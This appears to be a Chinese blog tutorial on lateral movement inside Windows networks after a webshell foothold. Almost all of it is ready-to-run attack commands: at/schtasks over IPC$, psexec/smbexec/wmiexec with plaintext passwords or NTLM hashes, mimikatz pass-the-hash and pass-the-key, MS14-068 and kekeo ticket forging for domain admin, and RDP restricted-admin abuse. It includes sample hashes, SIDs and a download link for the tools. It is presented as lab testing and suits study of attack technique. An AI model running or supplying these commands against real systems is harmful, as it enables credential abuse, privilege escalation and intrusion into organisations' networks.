文章目录
- 前言
- 一、通过at&schtasks明文传递
- 二、、atexec进行明文与HASH传递
- 三、SMB 服务利用
-
- 1、psexec工具传递
- 2、smbexec工具传递
- 四、WMI 服务利用
-
- 1、wmic传递
- 2、cscript传递
- 3、wmiexec传递
- 五、PTH横向传递攻击
- 六、PTK横向传递攻击
- 七、PTT横向传递攻击
- 八、RDP传递攻击 (测试失败)
- 总结
前言
当我们拿下webshell之后,如果其服务器有内部网络环境,则需要进一步测试内部网络渗透测试。内部网络渗透测试的常用方法是:基于密码的横向移动和基于漏洞的攻击。本文主要从基于密码的横向移动中收集了更主流的在线方法,但他们很肤浅。我希望老板们能在评论区指出他们的感激和不尊重。 本文所涉及的工具将在文末给出。
一、通过at&schtasks明文传递
说明:at&schtasks都是windows上创建计划任务的命令,只是针对的版本不同,at是win2008及一下; 1.前提:
1)能够获得明文密码 2)需要链接的目标主机administrator权限,普通权限不能够进行文件操作(工作组或域) 3)任意权限的跳板主机 4)可在本地和远程执行
2.执行流程:
1)建立目标主机IPC链接 2)将执行命令的脚本复制到目标主机 3)查看当前时间,创建计划任务(at&schtasks) 4)删除IPC链接
3.命令语句:(这里的命令语句将反映在以下许多方法中,所以如果下面使用类似的方法,我将简要描述)
1)net use \\192.168.89.1\ipc$"password" /user:username # 工作组 2)net use \\192.168.89.1\ipc$"password" /user:domain\username #域内 3)dir \\192.168.89.1\C$ # 查看文件列表 4)copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件 5)copy 1.bat \\xx.xx.xx.xx\C$ # 上传文件 6)net use \\xx.xx.xx.xx\ipc$ /del # 删除 IPC链接 7)at \\192.168.89.1 15:47 c:\add.bat #添加计划任务 8)at 1 /delete #删除计划任务,1为计划任务ID值 9)schtasks /create /s 192.168.89.1 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务对应执行文件
10)schtasks /run /s 192.168.89.1 /tn adduser /i #运行 adduser 任务
11)schtasks /delete /s 192.168.89.1 /tn adduser /f #删除 adduser 任务
二、、atexec进行明文与HASH传递
1、前提条件:
1)能够获得明文密码或密码hash值
2)目标主机需要连接administrator用户(工作组或域)
3)跳板主机任意权限
4)可在本地和远程执行
2、命令语句:
1)atexec.exe ./administrator:Admin12345@192.168.89.1 "whoami" #本地明文传递
2)atexec.exe domain/administrator:Admin12345@192.168.89.1 "whoami" #域内明文传递
3)atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.89.1 "whoami" #hash传递攻击
三、SMB 服务利用
1、psexec工具传递
说明:SMB服务可以通过明文或hash传递进行攻击,需要对方服务器445端口开放。psexec工具有微软官方自带(不用考虑免杀),也有第三方制作(需要考虑免杀)。 1、前提条件:
1)能够获得明文密码或密码hash值(官方工具只能使用明文,第三方可以使用hash)
2)通过psexec工具的话只能在本地反弹shell,但是CS可以辅助我们使用psexec方法,远程反弹会话
3)建立的连接需要连接administrator用户,普通权限无法连接成功
4)跳板机任意权限
2、命令语句:
1)微软官方工具,只能通过明文建立
#第一种:先建立ipc$连接,在执行命令
1)net use \\192.168.89.1\ipc$ "admin!@#45" /user:administrator
2)psexec.exe -accepteula \\192.168.89.1 -s cmd.exe # 需要先有 ipc 链接 -s 以 System 权限运行,-accepteula 第一次运行不弹框
3)PsExec.exe -accepteula \\192.168.89.1 -s cmd.exe /c "whoami" # 单条命令执行
#第二种:直接提供明文密码进行命令执行
1)psexec.exe \\192.168.89.1 -u administrator -p Admin12345 -s cmd.exe
2)第三方工具,可以通过hash值建立
1)psexec.exe -hashes :afffeba176210fad4628f0524bfe1942 ./administrator@192.168.98.3 #工作组hash穿透
2)psexec.exe -hashes :afffeba176210fad4628f0524bfe1942 hacker/administrator@192.168.98.3 #域中hash传递
3) 通过CS进行传递,该方法我会在后期说CS的时候体现出来,比较简单,这里就不细说了
2、smbexec工具传递
说明:该工具为第三方工具,在实际情况中需要考虑免杀请况,同时服务器需要开通445端口 1、前提条件:
1)能够获得明文密码或密码hash值(官方工具只能使用明文,第三方可以使用hash)
2)只能本地反弹shell,无法远程反弹
3)建立的连接需要连接administrator用户,普通权限无法连接成功
4)跳板机任意权限
命令语句:
1)smbexec.exe hacker/administrator:Admin12345@192.168.89.3 #明文传递
2)smbexec.exe -hashes :afffeba176210fad4628f0524bfe1942 ./administrator@192.168.89.3 #hash传递
四、WMI 服务利用
1、wmic传递
说明:WMI服务需要目标服务器开通135端口,同时需要目标服务器明文密码,该方法不会在目标服务器中留下日志,但是没有回显 1、前提条件:
1)获得明文密码
2)可在本地和远程执行
3)需要administrator用户账号,普通权限连接不成功
4)跳板机任意权限
2、命令语句:
1)wmic /node:192.168.89.3 /user:administrator /password:123.com process call create "cmd.exe /c net user >C:\1.txt" #工作组
2)wmic /node:192.168.89.3 /user:hacker\administrator /password:1qaz@2wsx process call create "cmd.exe /c ipconfig >C:\1.txt" #域内
2、cscript传递
说明:自带的 cscript为明文传递,有回显,但是需要事先传入wmiexec.vbs文件,需要目标服务器开启135端口 1、前提条件:
1)获得明文密码
2)只能在本地执行
3)需要administrator用户账号,普通权限连接不成功
4)跳板机任意权限
2、命令语句:
1)cscript //nologo wmiexec.vbs /shell 192.168.89.3 administrator 123.com #工作组
2)cscript //nologo wmiexec.vbs /shell 192.168.89.3 hacker\administrator 123.com #域内
3、wmiexec传递
说明:wmiexec为第三方工具,需要注意免杀问题,也需要目标服务器开启135端口 1、前提条件:
1)获取明文密码或hash值
2)只能在本地执行
3)需要administrator用户账号,普通权限连接不成功
4)跳板机任意权限
2、命令语句:
1)wmiexec.exe ./administrator:123.com@192.168.89.3 "whoami" #工作组明文
2)wmiexec.exe hacker/administrator:123.com@192.168.89.3 "whoami" #域内明文
3)wmiexec.exe -hashes :afffeba176210fad4628f0524bfe1942 ./administrator@192.168.89.3 "whoami" #hash值
五、PTH横向传递攻击
说明:PTH攻击建立在密码hash之上。攻击系统范围为win7\win2008r2\win2012等。若系统打了KB2871997 补丁只能administrator连接,没有打补丁任何用户都可以连接 1、前提条件:
1)获取密码hash
2)判断是否打了补丁 -- KB2871997
3)跳板机权限为管理员权限
4)可以在本地和远程执行
5)值得注意的是,普通用户建立的连接,似乎权限过小,很多操作无法进行,所以我判断普通用户似乎是无效的
2、命令语句:
1)本地执行(基于mimikatz执行)
#基于mimikatz执行
1)sekurlsa::pth /user:sql2008 /domain:hacker /ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d #域内hash传递
2)sekurlsa::pth /user:administrator /domain:workgroup /ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d #工作组hash
#弹出一个命令执行框,在这个框中建立了类似的ipc$连接,
#我们可以查看目录,下载文件,上传文件,创建计划任务执行文件
#如:
dir \\sql2008.hacker.com\c$
dir \\192.168.89.3\c$
2)远程执行(基于CS执行)
#基于CS执行
1)mimikatz sekurlsa::pth /user:administrator /domain:workgroup /ntlm:afffeba176210fad4628f0524bfe1942
2)steal_token PID
3)shell dir \\192.168.89.3\c$
六、PTK横向传递攻击
说明:PTK传递攻击针对的是打了KB2871997补丁的,未打补丁是不能用的,这里需要使用mimikatz获取AES keys,获取命令为:sekurlsa::ekeys 1、前提条件:
1)判断是否打了KB2871997补丁
2)获取AES密码
3)跳板机的管理员权限
4)能在本地运行,远程没有测试成功
2、命令语句为:
1)mimikatz.exe "sekurlsa::ekeys" #获取aes
2)sekurlsa::pth /user:sql2008 /domain:hacker /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
七、PTT横向传递攻击
1、说明:PTT攻击是利用Kerberos 协议进行攻击的,常用的攻击手法有:MS14-068,Golden ticket,SILVER ticket。它是将连接合法的票据注入到内存中实现连接。 MS14-068 造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780 2、前提条件:
1)利用 ms14-068、kekeo、本地票据在本地测试成功,
2)利用 ms14-068、kekeo跳板机本地连接时可以是任意权限
3)利用 ms14-068 需要知道域内某用户的账号及明文密码
4)kekeo需要知道域内用户名与hash值
5)本地票据需要管理员权限(mimikatz导出票据需要高权限)
1)利用 ms14-068远程连接需要管理员权限
3、命令语句:
1)利用 ms14-068
#1)本地连接
1)WMIC useraccount get name,sid #sid获取,管理员权限获取的更多一点
2)ms14-068.exe -u 域成员名@域名 -s sid(域成员) -d 域控制器地址 -p 域成员密码 (生成TGT)
3)MS14-068.exe -u web07@hacker.com -s S-1-5-21-2374949671-2603306159-227762320-1105 -d 192.168.89.2 -p 123@com
4)mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" #(TGT票据注入)
5)dir \\DC.hacker.com\c$ (注意要用域内域名连接,这里其实是类似建立了一条IPC$连接)
#2)远程连接,在CS中执行
1)WMIC useraccount get name,sid //sid获取
2)mimikatz kerberos::list //列出当前票据
3)mimikatz kerberos::purge //清除票据
4)MS14-068.exe -u web07@hacker.com -s S-1-5-21-2374949671-2603306159-227762320-1105 -d 192.168.89.2 -p 123@com //生成tgt票据
5)mimikatz kerberos::ptc TGT_web07@hacker.com.ccache //导入票据
6)shell dir \\sql2008.hacker.com //利用
2)利用工具 kekeo(未成功)
1)kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" #生成票据
2)kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi #导入票据
4)dir \\DC.hacker.com\c$ #利用
八、RDP传递攻击 (测试失败)
1、说明:RDP传递其实就是利用了远程桌面功能 2、前提条件:
1)获得对方账户明文或hash(用户需要是能够有远程桌面连接权限)
2)本地执行
3)跳板机任意权限
3、命令语句:
sekurlsa::pth /user:administrator /domain:hacker.com /ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d "/run:mstsc.exe /restrictedadmin"
相关工具: 链接: https://pan.baidu.com/s/1bIJO320Fb2x_iYku943FPg 提取码: yk7g
总结
上述方法自己在本地搭建了靶场进行测试,可能有很多外在因数是自己没有考虑到的,所以可能会存在错误,欢迎各位大佬批评指正。